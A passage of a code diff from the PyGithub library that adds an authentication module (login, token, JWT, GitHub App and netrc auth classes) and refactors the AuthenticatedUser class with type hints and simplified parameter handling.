"expires_at" in attributes: # pragma no branch - assert attributes["expires_at"] is None or isinstance( - attributes["expires_at"], (str,) - ), attributes["expires_at"] + assert attributes["expires_at"] is None or isinstance(attributes["expires_at"], (str,)), attributes[ + "expires_at" + ] self._expires_at = self._makeDatetimeAttribute(attributes["expires_at"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) @@ -166,13 +155,11 @@ def _useAttributes(self, attributes): if "size_in_bytes" in attributes: # pragma no branch self._size_in_bytes = self._makeIntAttribute(attributes["size_in_bytes"]) if "updated_at" in attributes: # pragma no branch - assert attributes["updated_at"] is None or isinstance( - attributes["updated_at"], (str,) - ), attributes["updated_at"] + assert attributes["updated_at"] is None or isinstance(attributes["updated_at"], (str,)), attributes[ + "updated_at" + ] self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "workflow_run" in attributes: # pragma no branch - self._workflow_run = self._makeClassAttribute( - github.WorkflowRun.WorkflowRun, attributes["workflow_run"] - ) + self._workflow_run = self._makeClassAttribute(github.WorkflowRun.WorkflowRun, attributes["workflow_run"]) diff --git a/github/Artifact.pyi b/github/Artifact.pyi deleted file mode 100644 index 4fe7872ae7..0000000000 --- a/github/Artifact.pyi +++ /dev/null @@ -1,30 +0,0 @@ -from github.WorkflowRun import WorkflowRun -from datetime import datetime -from github.GithubObject import NonCompletableGithubObject as NonCompletableGithubObject - -class Artifact(NonCompletableGithubObject): - @property - def archive_download_url(self) -> str: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> bool: ... - @property - def expired(self) -> bool: ... - @property - def expires_at(self) -> datetime: ... - @property - def head_sha(self) -> str: ... - @property - def id(self) -> int: ... - @property - def name(self) -> str: ... - @property - def node_id(self) -> str: ... - @property - def size_in_bytes(self) -> int: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def workflow_run(self) -> WorkflowRun: ... diff --git a/github/Auth.py b/github/Auth.py new file mode 100644 index 0000000000..70e829f7c4 --- /dev/null +++ b/github/Auth.py @@ -0,0 +1,487 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 chantra # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +import abc +import base64 +import time +from abc import ABC +from datetime import datetime, timedelta, timezone +from typing import TYPE_CHECKING + +import jwt +from requests import utils + +from github import Consts +from github.Requester import Requester, WithRequester + +if TYPE_CHECKING: + from github.GithubIntegration import GithubIntegration + from github.InstallationAuthorization import InstallationAuthorization + +# For App authentication, time remaining before token expiration to request a new one +ACCESS_TOKEN_REFRESH_THRESHOLD_SECONDS = 20 +TOKEN_REFRESH_THRESHOLD_TIMEDELTA = timedelta(seconds=ACCESS_TOKEN_REFRESH_THRESHOLD_SECONDS) + + +# add new implementations of github.Auth.Auth to docs/utilities.rst +class Auth(abc.ABC): + """ + This class is the base class of all authentication methods for Requester. + """ + + @property + @abc.abstractmethod + def token_type(self) -> str: + """ + The type of the auth token as used in the HTTP Authorization header, e.g. Bearer or Basic. + :return: token type + """ + + @property + @abc.abstractmethod + def token(self) -> str: + """ + The auth token as used in the HTTP Authorization header. + :return: token + """ + + +class HTTPBasicAuth(Auth, abc.ABC): + @property + @abc.abstractmethod + def username(self) -> str: + """The username.""" + + @property + @abc.abstractmethod + def password(self) -> str: + """The password""" + + @property + def token_type(self) -> str: + return "Basic" + + @property + def token(self) -> str: + return base64.b64encode(f"{self.username}:{self.password}".encode()).decode("utf-8").replace("\n", "") + + +class Login(HTTPBasicAuth): + """ + This class is used to authenticate with login and password. + """ + + def __init__(self, login: str, password: str): + assert isinstance(login, str) + assert len(login) > 0 + assert isinstance(password, str) + assert len(password) > 0 + + self._login = login + self._password = password + + @property + def login(self) -> str: + return self._login + + @property + def username(self) -> str: + return self.login + + @property + def password(self) -> str: + return self._password + + +class Token(Auth): + """ + This class is used to authenticate with a single constant token. + """ + + def __init__(self, token: str): + assert isinstance(token, str) + assert len(token) > 0 + self._token = token + + @property + def token_type(self) -> str: + return "token" + + @property + def token(self) -> str: + return self._token + + +class JWT(Auth, ABC): + """ + This class is the base class to authenticate with a JSON Web Token (JWT). + https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app + """ + + @property + def token_type(self) -> str: + return "Bearer" + + +class AppAuth(JWT): + """ + This class is used to authenticate as a GitHub App. + https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app + """ + + def __init__( + self, + app_id: int | str, + private_key: str, + jwt_expiry: int = Consts.DEFAULT_JWT_EXPIRY, + jwt_issued_at: int = Consts.DEFAULT_JWT_ISSUED_AT, + jwt_algorithm: str = Consts.DEFAULT_JWT_ALGORITHM, + ): + assert isinstance(app_id, (int, str)), app_id + if isinstance(app_id, str): + assert len(app_id) > 0, "app_id must not be empty" + assert isinstance(private_key, str) + assert len(private_key) > 0, "private_key must not be empty" + assert isinstance(jwt_expiry, int), jwt_expiry + assert Consts.MIN_JWT_EXPIRY <= jwt_expiry <= Consts.MAX_JWT_EXPIRY, jwt_expiry + + self._app_id = app_id + self._private_key = private_key + self._jwt_expiry = jwt_expiry + self._jwt_issued_at = jwt_issued_at + self._jwt_algorithm = jwt_algorithm + + @property + def app_id(self) -> int | str: + return self._app_id + + @property + def private_key(self) -> str: + return self._private_key + + @property + def token(self) -> str: + return self.create_jwt() + + def get_installation_auth( + self, + installation_id: int, + token_permissions: dict[str, str] | None = None, + requester: Requester | None = None, + ) -> AppInstallationAuth: + """ + Creates a github.Auth.AppInstallationAuth instance for an installation. + :param installation_id: installation id + :param token_permissions: optional permissions + :param requester: optional requester with app authentication + :return: + """ + return AppInstallationAuth(self, installation_id, token_permissions, requester) + + def create_jwt(self, expiration: int | None = None) -> str: + """ + Create a signed JWT + https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app + + :return string: jwt + """ + if expiration is not None: + assert isinstance(expiration, int), expiration + assert Consts.MIN_JWT_EXPIRY <= expiration <= Consts.MAX_JWT_EXPIRY, expiration + + now = int(time.time()) + payload = { + "iat": now + self._jwt_issued_at, + "exp": now + (expiration if expiration is not None else self._jwt_expiry), + "iss": self._app_id, + } + encrypted = jwt.encode(payload, key=self.private_key, algorithm=self._jwt_algorithm) + + if isinstance(encrypted, bytes): + return encrypted.decode("utf-8") + return encrypted + + +class AppAuthToken(JWT): + """ + This class is used to authenticate as a GitHub App with a single constant JWT. + https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app + """ + + def __init__(self, token: str): + assert isinstance(token, str) + assert len(token) > 0 + self._token = token + + @property + def token(self) -> str: + return self._token + + +class AppInstallationAuth(Auth, WithRequester["AppInstallationAuth"]): + """ + This class is used to authenticate as a GitHub App Installation. + https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation + """ + + # used to fetch live access token when calling self.token + __integration: GithubIntegration | None = None + __installation_authorization: InstallationAuthorization | None = None + + def __init__( + self, + app_auth: AppAuth, + installation_id: int, + token_permissions: dict[str, str] | None = None, + requester: Requester | None = None, + ): + super().__init__() + + assert isinstance(app_auth, AppAuth), app_auth + assert isinstance(installation_id, int), installation_id + assert token_permissions is None or isinstance(token_permissions, dict), token_permissions + + self._app_auth = app_auth + self._installation_id = installation_id + self._token_permissions = token_permissions + + if requester is not None: + self.withRequester(requester) + + def withRequester(self, requester: Requester) -> AppInstallationAuth: + super().withRequester(requester.withAuth(self._app_auth)) + + # imported here to avoid circular import + from github.GithubIntegration import GithubIntegration + + self.__integration = GithubIntegration(**self.requester.kwargs) + + return self + + @property + def app_id(self) -> int | str: + return self._app_auth.app_id + + @property + def private_key(self) -> str: + return self._app_auth.private_key + + @property + def installation_id(self) -> int: + return self._installation_id + + @property + def token_permissions(self) -> dict[str, str] | None: + return self._token_permissions + + @property + def token_type(self) -> str: + return "token" + + @property + def token(self) -> str: + if self.__installation_authorization is None or self._is_expired: + self.__installation_authorization = self._get_installation_authorization() + return self.__installation_authorization.token + + @property + def _is_expired(self) -> bool: + assert self.__installation_authorization is not None + token_expires_at = self.__installation_authorization.expires_at - TOKEN_REFRESH_THRESHOLD_TIMEDELTA + return token_expires_at < datetime.now(timezone.utc) + + def _get_installation_authorization(self) -> InstallationAuthorization: + assert self.__integration is not None, "Method withRequester(Requester) must be called first" + return self.__integration.get_access_token( + self._installation_id, + permissions=self._token_permissions, + ) + + +class AppUserAuth(Auth, WithRequester["AppUserAuth"]): + """ + This class is used to authenticate as a GitHub App on behalf of a user. + https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user + """ + + _client_id: str + _client_secret: str + _token: str + _type: str + _scope: str | None + _expires_at: datetime | None + _refresh_token: str | None + _refresh_expires_at: datetime | None + + # imported here to avoid circular import + from github.ApplicationOAuth import ApplicationOAuth + + __app: ApplicationOAuth + + def __init__( + self, + client_id: str, + client_secret: str, + token: str, + token_type: str | None = None, + expires_at: datetime | None = None, + refresh_token: str | None = None, + refresh_expires_at: datetime | None = None, + requester: Requester | None = None, + ) -> None: + super().__init__() + + assert isinstance(client_id, str) + assert len(client_id) > 0 + assert isinstance(client_secret, str) + assert len(client_secret) > 0 + assert isinstance(token, str) + assert len(token) > 0 + if token_type is not None: + assert isinstance(token_type, str) + assert len(token_type) > 0 + assert isinstance(token, str) + if token_type is not None: + assert isinstance(token_type, str) + assert len(token_type) > 0 + if expires_at is not None: + assert isinstance(expires_at, datetime) + if refresh_token is not None: + assert isinstance(refresh_token, str) + assert len(refresh_token) > 0 + if refresh_expires_at is not None: + assert isinstance(refresh_expires_at, datetime) + + self._client_id = client_id + self._client_secret = client_secret + self._token = token + self._type = token_type or "bearer" + self._expires_at = expires_at + self._refresh_token = refresh_token + self._refresh_expires_at = refresh_expires_at + + if requester is not None: + self.withRequester(requester) + + @property + def token_type(self) -> str: + return self._type + + @property + def token(self) -> str: + if self._is_expired: + self._refresh() + return self._token + + def withRequester(self, requester: Requester) -> AppUserAuth: + super().withRequester(requester.withAuth(None)) + + # imported here to avoid circular import + from github.ApplicationOAuth import ApplicationOAuth + + self.__app = ApplicationOAuth( + # take requester given to super().withRequester, not given to this method + super().requester, + headers={}, + attributes={ + "client_id": self._client_id, + "client_secret": self._client_secret, + }, + completed=False, + ) + + return self + + @property + def _is_expired(self) -> bool: + return self._expires_at is not None and self._expires_at < datetime.now(timezone.utc) + + def _refresh(self) -> None: + if self._refresh_token is None: + raise RuntimeError("Cannot refresh expired token because no refresh token has been provided") + if self._refresh_expires_at is not None and self._refresh_expires_at < datetime.now(timezone.utc): + raise RuntimeError("Cannot refresh expired token because refresh token also expired") + + # refresh token + token = self.__app.refresh_access_token(self._refresh_token) + + # update this auth + self._token = token.token + self._type = token.type + self._scope = token.scope + self._expires_at = token.expires_at + self._refresh_token = token.refresh_token + self._refresh_expires_at = token.refresh_expires_at + + @property + def expires_at(self) -> datetime | None: + return self._expires_at + + @property + def refresh_token(self) -> str | None: + return self._refresh_token + + @property + def refresh_expires_at(self) -> datetime | None: + return self._refresh_expires_at + + +class NetrcAuth(HTTPBasicAuth, WithRequester["NetrcAuth"]): + """ + This class is used to authenticate via .netrc. + """ + + def __init__(self) -> None: + super().__init__() + + self._login: str | None = None + self._password: str | None = None + + @property + def username(self) -> str: + return self.login + + @property + def login(self) -> str: + assert self._login is not None, "Method withRequester(Requester) must be called first" + return self._login + + @property + def password(self) -> str: + assert self._password is not None, "Method withRequester(Requester) must be called first" + return self._password + + def withRequester(self, requester: Requester) -> NetrcAuth: + super().withRequester(requester) + + auth = utils.get_netrc_auth(requester.base_url, raise_errors=True) + if auth is None: + raise RuntimeError(f"Could not get credentials from netrc for host {requester.hostname}") + + self._login, self._password = auth + + return self diff --git a/github/AuthenticatedUser.py b/github/AuthenticatedUser.py index 43018a5c60..f039a1f269 100644 --- a/github/AuthenticatedUser.py +++ b/github/AuthenticatedUser.py @@ -15,11 +15,39 @@ # Copyright 2017 Balázs Rostás # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # +# Copyright 2018 Alice GIRARD # +# Copyright 2018 Bruce Richardson # +# Copyright 2018 Riccardo Pittau # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 bryanhuntesl <31992054+bryanhuntesl@users.noreply.github.com> # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Jamie van Brunschot # +# Copyright 2019 Jon Dufresne # +# Copyright 2019 Pavan Kunisetty # # Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Surya Teja <94suryateja@gmail.com> # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Glenn McDonald # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 MeggyCal # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 Yuya Nakamura # +# Copyright 2021 sshekdar-VMware <87147229+sshekdar-VMware@users.noreply.github.com># +# Copyright 2021 秋葉 # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Kevin Grandjean # +# Copyright 2023 Mark Amery # +# Copyright 2023 Trim21 # +# Copyright 2023 chantra # +# Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -39,8 +67,11 @@ # # ################################################################################ -import datetime -from collections import namedtuple +from __future__ import annotations + +import urllib.parse +from datetime import datetime, timezone +from typing import TYPE_CHECKING, Any, NamedTuple import github.Authorization import github.Event @@ -53,378 +84,322 @@ import github.NamedUser import github.Notification import github.Organization -import github.PaginatedList import github.Plan import github.Repository import github.UserKey - -from . import Consts - - -class AuthenticatedUser(github.GithubObject.CompletableGithubObject): +from github import Consts +from github.GithubObject import ( + Attribute, + CompletableGithubObject, + NotSet, + Opt, + is_defined, + is_optional, + is_optional_list, + is_undefined, +) +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.Authorization import Authorization + from github.Event import Event + from github.Gist import Gist + from github.InputFileContent import InputFileContent + from github.Installation import Installation + from github.Invitation import Invitation + from github.Issue import Issue + from github.Label import Label + from github.Membership import Membership + from github.Migration import Migration + from github.NamedUser import NamedUser + from github.Notification import Notification + from github.Organization import Organization + from github.Plan import Plan + from github.Project import Project + from github.Repository import Repository + from github.Team import Team + from github.UserKey import UserKey + + +class EmailData(NamedTuple): + email: str + primary: bool + verified: bool + visibility: str + + +class AuthenticatedUser(CompletableGithubObject): """ This class represents AuthenticatedUsers as returned by https://docs.github.com/en/rest/reference/users#get-the-authenticated-user An AuthenticatedUser object can be created by calling ``get_user()`` on a Github object. """ - def __repr__(self): + def _initAttributes(self) -> None: + self._avatar_url: Attribute[str] = NotSet + self._bio: Attribute[str] = NotSet + self._blog: Attribute[str] = NotSet + self._collaborators: Attribute[int] = NotSet + self._company: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._disk_usage: Attribute[int] = NotSet + self._email: Attribute[str] = NotSet + self._events_url: Attribute[str] = NotSet + self._followers: Attribute[int] = NotSet + self._followers_url: Attribute[str] = NotSet + self._following: Attribute[int] = NotSet + self._following_url: Attribute[str] = NotSet + self._gists_url: Attribute[str] = NotSet + self._gravatar_id: Attribute[str] = NotSet + self._hireable: Attribute[bool] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._location: Attribute[str] = NotSet + self._login: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._organizations_url: Attribute[str] = NotSet + self._owned_private_repos: Attribute[int] = NotSet + self._plan: Attribute[github.Plan.Plan] = NotSet + self._private_gists: Attribute[int] = NotSet + self._public_gists: Attribute[int] = NotSet + self._public_repos: Attribute[int] = NotSet + self._received_events_url: Attribute[str] = NotSet + self._repos_url: Attribute[str] = NotSet + self._site_admin: Attribute[bool] = NotSet + self._starred_url: Attribute[str] = NotSet + self._subscriptions_url: Attribute[str] = NotSet + self._total_private_repos: Attribute[int] = NotSet + self._type: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._two_factor_authentication: Attribute[bool] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"login": self._login.value}) @property - def avatar_url(self): - """ - :type: string - """ + def avatar_url(self) -> str: self._completeIfNotSet(self._avatar_url) return self._avatar_url.value @property - def bio(self): - """ - :type: string - """ + def bio(self) -> str: self._completeIfNotSet(self._bio) return self._bio.value @property - def blog(self): - """ - :type: string - """ + def blog(self) -> str: self._completeIfNotSet(self._blog) return self._blog.value @property - def collaborators(self): - """ - :type: integer - """ + def collaborators(self) -> int: self._completeIfNotSet(self._collaborators) return self._collaborators.value @property - def company(self): - """ - :type: string - """ + def company(self) -> str: self._completeIfNotSet(self._company) return self._company.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def disk_usage(self): - """ - :type: integer - """ + def disk_usage(self) -> int: self._completeIfNotSet(self._disk_usage) return self._disk_usage.value @property - def email(self): - """ - :type: string - """ + def email(self) -> str: self._completeIfNotSet(self._email) return self._email.value @property - def events_url(self): - """ - :type: string - """ + def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property - def followers(self): - """ - :type: integer - """ + def followers(self) -> int: self._completeIfNotSet(self._followers) return self._followers.value @property - def followers_url(self): - """ - :type: string - """ + def followers_url(self) -> str: self._completeIfNotSet(self._followers_url) return self._followers_url.value @property - def following(self): - """ - :type: integer - """ + def following(self) -> int: self._completeIfNotSet(self._following) return self._following.value @property - def following_url(self): - """ - :type: string - """ + def following_url(self) -> str: self._completeIfNotSet(self._following_url) return self._following_url.value @property - def gists_url(self): - """ - :type: string - """ + def gists_url(self) -> str: self._completeIfNotSet(self._gists_url) return self._gists_url.value @property - def gravatar_id(self): - """ - :type: string - """ + def gravatar_id(self) -> str: self._completeIfNotSet(self._gravatar_id) return self._gravatar_id.value @property - def hireable(self): - """ - :type: bool - """ + def hireable(self) -> bool: self._completeIfNotSet(self._hireable) return self._hireable.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def location(self): - """ - :type: string - """ + def location(self) -> str: self._completeIfNotSet(self._location) return self._location.value @property - def login(self): - """ - :type: string - """ + def login(self) -> str: self._completeIfNotSet(self._login) return self._login.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property - def organizations_url(self): - """ - :type: string - """ + def organizations_url(self) -> str: self._completeIfNotSet(self._organizations_url) return self._organizations_url.value @property - def owned_private_repos(self): - """ - :type: integer - """ + def owned_private_repos(self) -> int: self._completeIfNotSet(self._owned_private_repos) return self._owned_private_repos.value @property - def plan(self): - """ - :type: :class:`github.Plan.Plan` - """ + def plan(self) -> Plan: self._completeIfNotSet(self._plan) return self._plan.value @property - def private_gists(self): - """ - :type: integer - """ + def private_gists(self) -> int: self._completeIfNotSet(self._private_gists) return self._private_gists.value @property - def public_gists(self): - """ - :type: integer - """ + def public_gists(self) -> int: self._completeIfNotSet(self._public_gists) return self._public_gists.value @property - def public_repos(self): - """ - :type: integer - """ + def public_repos(self) -> int: self._completeIfNotSet(self._public_repos) return self._public_repos.value @property - def received_events_url(self): - """ - :type: string - """ + def received_events_url(self) -> str: self._completeIfNotSet(self._received_events_url) return self._received_events_url.value @property - def repos_url(self): - """ - :type: string - """ + def repos_url(self) -> str: self._completeIfNotSet(self._repos_url) return self._repos_url.value @property - def site_admin(self): - """ - :type: bool - """ + def site_admin(self) -> bool: self._completeIfNotSet(self._site_admin) return self._site_admin.value @property - def starred_url(self): - """ - :type: string - """ + def starred_url(self) -> str: self._completeIfNotSet(self._starred_url) return self._starred_url.value @property - def subscriptions_url(self): - """ - :type: string - """ + def subscriptions_url(self) -> str: self._completeIfNotSet(self._subscriptions_url) return self._subscriptions_url.value @property - def total_private_repos(self): - """ - :type: integer - """ + def total_private_repos(self) -> int: self._completeIfNotSet(self._total_private_repos) return self._total_private_repos.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def two_factor_authentication(self): - """ - :type: bool - """ + def two_factor_authentication(self) -> bool: self._completeIfNotSet(self._two_factor_authentication) return self._two_factor_authentication.value - def add_to_emails(self, *emails): + def add_to_emails(self, *emails: str) -> None: """ :calls: `POST /user/emails `_ - :param email: string - :rtype: None """ assert all(isinstance(element, str) for element in emails), emails post_parameters = {"emails": emails} - headers, data = self._requester.requestJsonAndCheck( - "POST", "/user/emails", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", "/user/emails", input=post_parameters) - def add_to_following(self, following): + def add_to_following(self, following: NamedUser) -> None: """ :calls: `PUT /user/following/{user} `_ - :param following: :class:`github.NamedUser.NamedUser` - :rtype: None """ assert isinstance(following, github.NamedUser.NamedUser), following - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"/user/following/{following._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("PUT", f"/user/following/{following._identity}") - def add_to_starred(self, starred): + def add_to_starred(self, starred: Repository) -> None: """ :calls: `PUT /user/starred/{owner}/{repo} `_ - :param starred: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(starred, github.Repository.Repository), starred - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"/user/starred/{starred._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("PUT", f"/user/starred/{starred._identity}") - def add_to_subscriptions(self, subscription): + def add_to_subscriptions(self, subscription: Repository) -> None: """ :calls: `PUT /user/subscriptions/{owner}/{repo} `_ - :param subscription: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(subscription, github.Repository.Repository), subscription - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"/user/subscriptions/{subscription._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("PUT", f"/user/subscriptions/{subscription._identity}") - def add_to_watched(self, watched): + def add_to_watched(self, watched: Repository) -> None: """ :calls: `PUT /repos/{owner}/{repo}/subscription `_ - :param watched: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(watched, github.Repository.Repository), watched headers, data = self._requester.requestJsonAndCheck( @@ -435,54 +410,34 @@ def add_to_watched(self, watched): def create_authorization( self, - scopes=github.GithubObject.NotSet, - note=github.GithubObject.NotSet, - note_url=github.GithubObject.NotSet, - client_id=github.GithubObject.NotSet, - client_secret=github.GithubObject.NotSet, - onetime_password=None, - ): + scopes: Opt[list[str]] = NotSet, + note: Opt[str] = NotSet, + note_url: Opt[str] = NotSet, + client_id: Opt[str] = NotSet, + client_secret: Opt[str] = NotSet, + onetime_password: str | None = None, + ) -> Authorization: """ :calls: `POST /authorizations `_ - :param scopes: list of string - :param note: string - :param note_url: string - :param client_id: string - :param client_secret: string - :param onetime_password: string - :rtype: :class:`github.Authorization.Authorization` - """ - assert scopes is github.GithubObject.NotSet or all( - isinstance(element, str) for element in scopes - ), scopes - assert note is github.GithubObject.NotSet or isinstance(note, str), note - assert note_url is github.GithubObject.NotSet or isinstance( - note_url, str - ), note_url - assert client_id is github.GithubObject.NotSet or isinstance( - client_id, str - ), client_id - assert client_secret is github.GithubObject.NotSet or isinstance( - client_secret, str - ), client_secret - assert onetime_password is None or isinstance( - onetime_password, str - ), onetime_password - post_parameters = dict() - if scopes is not github.GithubObject.NotSet: - post_parameters["scopes"] = scopes - if note is not github.GithubObject.NotSet: - post_parameters["note"] = note - if note_url is not github.GithubObject.NotSet: - post_parameters["note_url"] = note_url - if client_id is not github.GithubObject.NotSet: - post_parameters["client_id"] = client_id - if client_secret is not github.GithubObject.NotSet: - post_parameters["client_secret"] = client_secret + """ + assert is_optional_list(scopes, str), scopes + assert is_optional(note, str), note + assert is_optional(note_url, str), note_url + assert is_optional(client_id, str), client_id + assert is_optional(client_secret, str), client_secret + assert onetime_password is None or isinstance(onetime_password, str), onetime_password + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "scopes": scopes, + "note": note, + "note_url": note_url, + "client_id": client_id, + "client_secret": client_secret, + } + ) + if onetime_password is not None: - request_header = { - Consts.headerOTP: onetime_password - } # pragma no cover (Should be covered) + request_header = {Consts.headerOTP: onetime_password} # pragma no cover (Should be covered) else: request_header = None headers, data = self._requester.requestJsonAndCheck( @@ -491,92 +446,80 @@ def create_authorization( input=post_parameters, headers=request_header, ) - return github.Authorization.Authorization( - self._requester, headers, data, completed=True - ) + return github.Authorization.Authorization(self._requester, headers, data, completed=True) - def create_fork(self, repo): + @staticmethod + def create_fork( + repo: Repository, + name: Opt[str] = NotSet, + default_branch_only: Opt[bool] = NotSet, + ) -> Repository: """ :calls: `POST /repos/{owner}/{repo}/forks `_ - :param repo: :class:`github.Repository.Repository` - :rtype: :class:`github.Repository.Repository` """ assert isinstance(repo, github.Repository.Repository), repo - headers, data = self._requester.requestJsonAndCheck( - "POST", f"/repos/{repo.owner.login}/{repo.name}/forks" - ) - return github.Repository.Repository( - self._requester, headers, data, completed=True + return repo.create_fork( + organization=github.GithubObject.NotSet, + name=name, + default_branch_only=default_branch_only, ) def create_repo_from_template( self, - name, - repo, - description=github.GithubObject.NotSet, - private=github.GithubObject.NotSet, - ): + name: str, + repo: Repository, + description: Opt[str] = NotSet, + include_all_branches: Opt[bool] = NotSet, + private: Opt[bool] = NotSet, + ) -> Repository: """ :calls: `POST /repos/{template_owner}/{template_repo}/generate `_ - :param name: string - :param repo :class:`github.Repository.Repository` - :param description: string - :param private: bool - :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name assert isinstance(repo, github.Repository.Repository), repo - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert private is github.GithubObject.NotSet or isinstance( - private, bool - ), private - post_parameters = { - "name": name, - "owner": self.login, - } - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if private is not github.GithubObject.NotSet: - post_parameters["private"] = private + assert is_optional(description, str), description + assert is_optional(include_all_branches, bool), include_all_branches + assert is_optional(private, bool), private + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "name": name, + "owner": self.login, + "description": description, + "include_all_branches": include_all_branches, + "private": private, + } + ) + headers, data = self._requester.requestJsonAndCheck( "POST", f"/repos/{repo.owner.login}/{repo.name}/generate", input=post_parameters, headers={"Accept": "application/vnd.github.v3+json"}, ) - return github.Repository.Repository( - self._requester, headers, data, completed=True - ) + return github.Repository.Repository(self._requester, headers, data, completed=True) - def create_gist(self, public, files, description=github.GithubObject.NotSet): + def create_gist( + self, + public: bool, + files: dict[str, InputFileContent], + description: Opt[str] = NotSet, + ) -> Gist: """ :calls: `POST /gists `_ - :param public: bool - :param files: dict of string to :class:`github.InputFileContent.InputFileContent` - :param description: string - :rtype: :class:`github.Gist.Gist` """ assert isinstance(public, bool), public - assert all( - isinstance(element, github.InputFileContent) for element in files.values() - ), files - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description + assert all(isinstance(element, github.InputFileContent) for element in files.values()), files + assert is_undefined(description) or isinstance(description, str), description post_parameters = { "public": public, "files": {key: value._identity for key, value in files.items()}, } - if description is not github.GithubObject.NotSet: + if is_defined(description): post_parameters["description"] = description - headers, data = self._requester.requestJsonAndCheck( - "POST", "/gists", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", "/gists", input=post_parameters) return github.Gist.Gist(self._requester, headers, data, completed=True) - def create_key(self, title, key): + def create_key(self, title: str, key: str) -> UserKey: """ :calls: `POST /user/keys `_ :param title: string @@ -589,12 +532,10 @@ def create_key(self, title, key): "title": title, "key": key, } - headers, data = self._requester.requestJsonAndCheck( - "POST", "/user/keys", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", "/user/keys", input=post_parameters) return github.UserKey.UserKey(self._requester, headers, data, completed=True) - def create_project(self, name, body=github.GithubObject.NotSet): + def create_project(self, name: str, body: Opt[str] = NotSet) -> Project: """ :calls: `POST /user/projects `_ :param name: string @@ -602,7 +543,7 @@ def create_project(self, name, body=github.GithubObject.NotSet): :rtype: 